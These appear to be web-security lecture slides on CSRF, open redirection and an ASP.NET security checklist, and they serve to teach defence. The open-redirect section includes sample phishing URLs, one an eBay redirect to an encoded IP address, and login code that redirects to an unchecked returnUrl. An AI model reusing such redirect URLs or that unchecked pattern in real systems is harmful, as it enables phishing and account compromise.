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## Broader view of CSRF

- Abuse of cross-site data export feature
  - From user's browser to honest server
  - Disrupts integrity of user's session
- Why mount a CSRF attack?
  - Network connectivity (firewall)
  - Read browser state
  - Write browser state
- Not just “session riding”


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## OPEN REDIRECTION ATTACK

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
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## Open Redirection Attack

- <http://goodSite?returnUrl=http://badSite>
- Example: Phishing Attack
- URL:  
<http://nerddinner.com/Account/LogOn?returnUrl=http://nerddinner.com/Account/LogOn>

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<http://cgi4.ebay.com/ws/eBayISAPI.dll?MfcISAPICommand=RedirectToDomain&DomainUrl=http%3A%2F%32%31%31%2E%31%37%32%2E%39%36%2E%37%2FUpdateCenter%2FLogin%2F%3FMfcISAPISession%3DAAJbaQzzeHAAeMWZIHhlWXs2AlBVShqAhQRfhgTDrferHCURstpAisNRqAhQRfhgTDrferHCURstpAisNRpAisNRqAhQRfhgTDrferHCUQRfqzeHAAeMWZIHhlWXh>

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## Example Login Action

```
[HttpPost]
public ActionResult Login(LoginModel model, string returnUrl) {
 if (ModelState.IsValid &&
 WebSecurity.Login(model.UserName, model.Password, ...))
 {
 return RedirectToAction(returnUrl);
 }

 // If we got this far, something failed, redisplay form
 ModelState.AddModelError("",
 "The user name or password provided is
incorrect.");
 return View(model);
}
```

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## Example Login Action

```
private ActionResult RedirectToLocal(string returnUrl) {
 if (Url.IsLocalUrl(returnUrl))
 {
 return Redirect(returnUrl);
 }
 else
 {
 return RedirectToAction("Index", "Home");
 }
}
```

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
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## LOGIN CSRF

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
## Login CSRF



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
## Payments Login CSRF



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
## Payments Login CSRF



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## Payments Login CSRF



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
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## Payments Login CSRF

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
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## Login CSRF




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## Cross-Origin Resource Sharing



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## Attack on Referer header



What if honest site sends POST to attacker.com?

Solution: whitelisting of legitimate redirect sites

Solution: **origin header** records redirect

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## Origin Header

- Alternative to Referer
  - Send only on POST
  - Fewer privacy problems
- Send only necessary data
  - `http://host:port`
  - Not complete path
- Defense against redirect-based attacks

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## CSRF Recommendations

- Login CSRF
  - Strict Referer/Origin validation
  - Login forms submit over HTTPS, not blocked
- HTTPS sites, such as banking sites
  - Strict Referer/Origin validation
- Other
  - Secret token method (Ruby, ASP.NET, ...)

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## SECURITY CHECKLIST

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## Security Checklist

- Require authentication by default
  - Global `RequireAuthenticatedUser` policy
  - `AllowAnonymous` for login
- Avoid over-posting
  - Separate entity models and view models
  - Or use `Bind` attribute
- Encrypt all communications?
  - Global `RequireHttps`
  - Protect cookies, avoid session stealing

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## Security Checklist

- Avoid open redirect
  - Whitelist sites to redirect to
- SQL injection:
  - Use ORM (e.g. EF) and/or prepared queries (e.g. ADO.NET)
- CSRF
  - Strict Referer validation for login
  - Secret token validation (or Strict Referer validation) elsewhere (all HTTPS?)

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## Security Checklist

- XSS
  - HTML encode output (but avoid double encoding!)  
`<foo> → &lt;foo&gt; →  
&amp;lt;foo&amp;gt;`
  - Sanitize inputs in URLs using `Url.Encode`
  - Encode JS strings
  - Use AntiXSS
  - `HttpOnly` cookies

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